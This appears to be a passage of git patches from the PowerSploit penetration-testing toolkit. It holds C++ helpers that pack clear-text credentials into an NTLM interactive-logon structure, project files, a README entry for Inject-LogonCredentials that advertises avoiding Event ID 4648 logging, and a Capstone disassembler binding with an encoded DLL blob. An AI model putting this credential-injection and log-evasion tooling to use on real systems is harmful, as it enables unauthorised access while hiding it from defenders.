WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), (PVOID)writeAddress); + writeAddress += WriteUnicodeString(username, &(ntlmLogon->UserName), (PVOID)writeAddress); + writeAddress += WriteUnicodeString(password, &(ntlmLogon->Password), (PVOID)writeAddress); + + *size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere. + return ntlmLogon; +} + + +PVOID CreateNtlmLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size) +{ + size_t wcharSize = sizeof(wchar_t); + + size_t totalSize = sizeof(MSV1_0_INTERACTIVE_LOGON) + ((lstrlenW(domain) + lstrlenW(username) + lstrlenW(password)) * wcharSize); + MSV1_0_INTERACTIVE_LOGON* ntlmLogon = (PMSV1_0_INTERACTIVE_LOGON)(new BYTE[totalSize]); + size_t writeAddress = (UINT_PTR)ntlmLogon + sizeof(MSV1_0_INTERACTIVE_LOGON); + + ntlmLogon->MessageType = MsV1_0InteractiveLogon; + writeAddress += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), (PVOID)writeAddress); + writeAddress += WriteUnicodeString(username, &(ntlmLogon->UserName), (PVOID)writeAddress); + writeAddress += WriteUnicodeString(password, &(ntlmLogon->Password), (PVOID)writeAddress); + + *size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere. + return ntlmLogon; +} + +//Returns the amount of bytes written. +size_t WriteUnicodeString(const wchar_t* str, UNICODE_STRING* uniStr, PVOID address) +{ + size_t size = lstrlenW(str) * sizeof(wchar_t); + uniStr->Length = (USHORT)size; + uniStr->MaximumLength = (USHORT)size; + uniStr->Buffer = (PWSTR)address; + memcpy(address, str, size); + return size; +} + +void WriteErrorToPipe(string errorMsg, HANDLE pipe) +{ + const char* error = errorMsg.c_str(); + DWORD bytesWritten = 0; + WriteFile(pipe, error, strlen(error), &bytesWritten, NULL); +} \ No newline at end of file diff --git a/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj b/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj new file mode 100644 index 00000000..7fb078b6 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj @@ -0,0 +1,176 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3} + Win32Proj + logon + + + + DynamicLibrary + true + v110 + Unicode + + + DynamicLibrary + true + v110 + Unicode + + + DynamicLibrary + false + v110 + true + Unicode + + + DynamicLibrary + false + v110 + true + Unicode + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions) + + + Windows + true + secur32.lib;%(AdditionalDependencies) + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions) + + + Windows + true + secur32.lib;%(AdditionalDependencies) + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions) + MultiThreaded + + + Windows + true + true + true + secur32.lib;%(AdditionalDependencies) + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions) + MultiThreaded + + + Windows + true + true + true + secur32.lib;%(AdditionalDependencies) + + + + + + + + + + + + false + false + + + + + false + false + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj.filters b/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj.filters new file mode 100644 index 00000000..b63ba3c0 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj.filters @@ -0,0 +1,39 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/Exfiltration/LogonUser/LogonUser/logon/stdafx.cpp b/Exfiltration/LogonUser/LogonUser/logon/stdafx.cpp new file mode 100644 index 00000000..696fbfbf --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// logon.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/Exfiltration/LogonUser/LogonUser/logon/stdafx.h b/Exfiltration/LogonUser/LogonUser/logon/stdafx.h new file mode 100644 index 00000000..d8612f05 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/stdafx.h @@ -0,0 +1,25 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +// Windows Header Files: +#include "targetver.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include + + + +// TODO: reference additional headers your program requires here diff --git a/Exfiltration/LogonUser/LogonUser/logon/targetver.h b/Exfiltration/LogonUser/LogonUser/logon/targetver.h new file mode 100644 index 00000000..87c0086d --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include From 46baff5ef25ebdbdb7ac32f0c1f592dbd76e3245 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Mon, 18 Nov 2013 06:30:19 -0500 Subject: [PATCH 021/365] Added Inject-LogonCredentials to README --- README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.md b/README.md index bc96a244..004d4afa 100644 --- a/README.md +++ b/README.md @@ -148,6 +148,10 @@ Locates single Byte AV signatures utilizing the same method as DSplit from "clas Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread. +#### `Inject-LogonCredentials` + +Create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon). + #### `Invoke-NinjaCopy` Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. From 7157507d99ec82e50cb9e8aff48abfd548a227b4 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Sun, 22 Dec 2013 12:46:39 -0500 Subject: [PATCH 022/365] Added Capstone Engine PowerShell binding Consider this to be an alpha release until the C# binding is published. --- Capstone/Capstone.psd1 | 50 ++++++++++ Capstone/Capstone.psm1 | 1 + Capstone/Get-CSDisassembly.format.ps1xml | 41 ++++++++ Capstone/Get-CSDisassembly.ps1 | 119 +++++++++++++++++++++++ Capstone/LICENSE.TXT | 30 ++++++ Capstone/Usage.md | 16 +++ Capstone/lib/capstone.dll | Bin 0 -> 78336 bytes Capstone/lib/libcapstone.dll | Bin 0 -> 6326103 bytes PowerSploit.psd1 | 1 + README.md | 8 ++ 10 files changed, 266 insertions(+) create mode 100644 Capstone/Capstone.psd1 create mode 100644 Capstone/Capstone.psm1 create mode 100644 Capstone/Get-CSDisassembly.format.ps1xml create mode 100644 Capstone/Get-CSDisassembly.ps1 create mode 100644 Capstone/LICENSE.TXT create mode 100644 Capstone/Usage.md create mode 100644 Capstone/lib/capstone.dll create mode 100644 Capstone/lib/libcapstone.dll diff --git a/Capstone/Capstone.psd1 b/Capstone/Capstone.psd1 new file mode 100644 index 00000000..6632558d --- /dev/null +++ b/Capstone/Capstone.psd1 @@ -0,0 +1,50 @@ +@{ + +# Script module or binary module file associated with this manifest. +ModuleToProcess = 'Capstone.psm1' + +# Version number of this module. +ModuleVersion = '1.0.0.0' + +# ID used to uniquely identify this module +GUID = 'bc335667-02fd-46c4-a3d9-0a5113c9c03b' + +# Author of this module +Author = 'Matthew Graeber' + +# Copyright statement for this module +Copyright = 'BSD 3-Clause' + +# Description of the functionality provided by this module +Description = 'Capstone Disassembly Framework Binding Module' + +# Minimum version of the Windows PowerShell engine required by this module +PowerShellVersion = '3.0' + +# Minimum version of the common language runtime (CLR) required by this module +CLRVersion = '4.0' + +# Processor architecture (None, X86, Amd64) required by this module +ProcessorArchitecture = 'Amd64' + +# Assemblies that must be loaded prior to importing this module +RequiredAssemblies = 'lib/capstone.dll' + +# Format files (.ps1xml) to be loaded when importing this module +FormatsToProcess = 'Get-CSDisassembly.format.ps1xml' + +# Functions to export from this module +FunctionsToExport = '*' + +# List of all modules packaged with this module. +ModuleList = @(@{ModuleName = 'Capstone'; ModuleVersion = '1.0.0.0'; GUID = 'bc335667-02fd-46c4-a3d9-0a5113c9c03b'}) + +# List of all files packaged with this module +FileList = 'Capstone.psm1', + 'Capstone.psd1', + 'Get-CSDisassembly.ps1', + 'Usage.md', + 'lib/capstone.dll', + 'lib/libcapstone.dll' + +} diff --git a/Capstone/Capstone.psm1 b/Capstone/Capstone.psm1 new file mode 100644 index 00000000..81d38186 --- /dev/null +++ b/Capstone/Capstone.psm1 @@ -0,0 +1 @@ +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/Capstone/Get-CSDisassembly.format.ps1xml b/Capstone/Get-CSDisassembly.format.ps1xml new file mode 100644 index 00000000..e9703a2a --- /dev/null +++ b/Capstone/Get-CSDisassembly.format.ps1xml @@ -0,0 +1,41 @@ + + + + + InstructionView + + Capstone.Instruction + + + + + + + + + + + + + + + + + + + Address + 0x{0:X8} + + + Mnemonic + + + Operands + + + + + + + + \ No newline at end of file diff --git a/Capstone/Get-CSDisassembly.ps1 b/Capstone/Get-CSDisassembly.ps1 new file mode 100644 index 00000000..89c17dba --- /dev/null +++ b/Capstone/Get-CSDisassembly.ps1 @@ -0,0 +1,119 @@ +#requires -Version 3 + +function Get-CSDisassembly +{ +<# +.SYNOPSIS + + Disassembles a byte array using the Capstone Engine disassembly framework. + + PowerSploit Function: Get-CSDisassembly + Author: Matthew Graeber (@mattifestation) + License: See LICENSE.TXT + Required Dependencies: lib\capstone.dll, lib\libcapstone.dll (64-bit) + Optional Dependencies: None + +.PARAMETER Architecture + + Specifies the architecture of the code to be disassembled. + +.PARAMETER Mode + + Specifies the mode in which to disassemble code. For example, to disassemble Amd64 code, architecture is set to 'X86' and Mode is set to 'MODE_64'. + +.PARAMETER Code + + A byte array consisting of the code to be disassembled. + +.PARAMETER Offset + + Specifies the starting address of the disassembly listing. + +.PARAMETER Count + + Specifies the maximum number of instructions to disassemble. + +.PARAMETER Syntax + + Specifies the syntax flavor to be used (INTEL vs. ATT). + +.PARAMETER DetailOff + + Specifies that detailed parsing should not be performed - i.e. do not perform additional analysis beyond disassembling. + +.EXAMPLE + + C:\PS>$Bytes = [Byte[]] @( 0x8d, 0x4c, 0x32, 0x08, 0x01, 0xd8, 0x81, 0xc6, 0x34, 0x12, 0x00, 0x00 ) + C:\PS>Get-CSDisassembly -Architecture X86 -Mode MODE_16 -Code $Bytes -Offset 0x1000 + +.EXAMPLE + + C:\PS>$Bytes = [Byte[]] @( 0x8d, 0x4c, 0x32, 0x08, 0x01, 0xd8, 0x81, 0xc6, 0x34, 0x12, 0x00, 0x00 ) + C:\PS>Get-CSDisassembly -Architecture X86 -Mode MODE_32 -Code $Bytes -Syntax ATT + +.INPUTS + + None + + You cannot pipe objects to Get-CSDisassembly. + +.OUTPUTS + + Capstone.Instruction[] + + Get-CSDisassembly returns an array of Instruction objects. + +.NOTES + + Get-CSDisassembly must be run from 64-bit PowerShell v3. +#> + + [OutputType([Capstone.Instruction])] + [CmdletBinding()] Param ( + [Parameter(Mandatory)] + [Capstone.ARCH] + $Architecture, + + [Parameter(Mandatory)] + [Capstone.MODE] + $Mode, + + [Parameter(Mandatory)] + [ValidateNotNullOrEmpty()] + [Byte[]] + $Code, + + [UInt64] + $Offset = 0, + + [UInt32] + $Count = 0, + + [ValidateSet('Intel', 'ATT')] + [String] + $Syntax, + + [Switch] + $DetailOff + ) + + $Disassembly = New-Object Capstone.Capstone($Architecture, $Mode) + + if ($Syntax) + { + switch ($Syntax) + { + 'Intel' { $SyntaxMode = [Capstone.OPT_VALUE]::SYNTAX_INTEL } + 'ATT' { $SyntaxMode = [Capstone.OPT_VALUE]::SYNTAX_ATT } + } + + $Disassembly.SetSyntax($SyntaxMode) + } + + if ($DetailOff) + { + $Disassembly.SetDetail($False) + } + + $Disassembly.Disassemble($Code, $Offset, $Count) +} \ No newline at end of file diff --git a/Capstone/LICENSE.TXT b/Capstone/LICENSE.TXT new file mode 100644 index 00000000..9edde0bd --- /dev/null +++ b/Capstone/LICENSE.TXT @@ -0,0 +1,30 @@ +This is the software license for Capstone disassembly framework. +Capstone has been designed & implemented by Nguyen Anh Quynh +See http://www.capstone-engine.org for further information. + +Copyright (c) 2013, COSEINC. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. +* Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. +* Neither the name of the developer(s) nor the names of its + contributors may be used to endorse or promote products derived from this + software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE +LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. diff --git a/Capstone/Usage.md b/Capstone/Usage.md new file mode 100644 index 00000000..8276ef63 --- /dev/null +++ b/Capstone/Usage.md @@ -0,0 +1,16 @@ +This module has two dependencies: +* lib\libcapstone.dll (the 64-bit unmanaged Capstone library) +* lib\capstone.dll (the managed C# bindings to the Capstone Framework) + +To install this module, drop the entire ScriptModification folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. + +The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" +The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" + +To use the module, type `Import-Module Capstone` + +To see the commands imported, type `Get-Command -Module Capstone` + +For help on each individual command, Get-Help is your friend. + +Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. \ No newline at end of file diff --git a/Capstone/lib/capstone.dll b/Capstone/lib/capstone.dll new file mode 100644 index 0000000000000000000000000000000000000000..bb085599b5b2c8880ee9a6de46329a4d9250ad5c GIT binary patch literal 78336 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 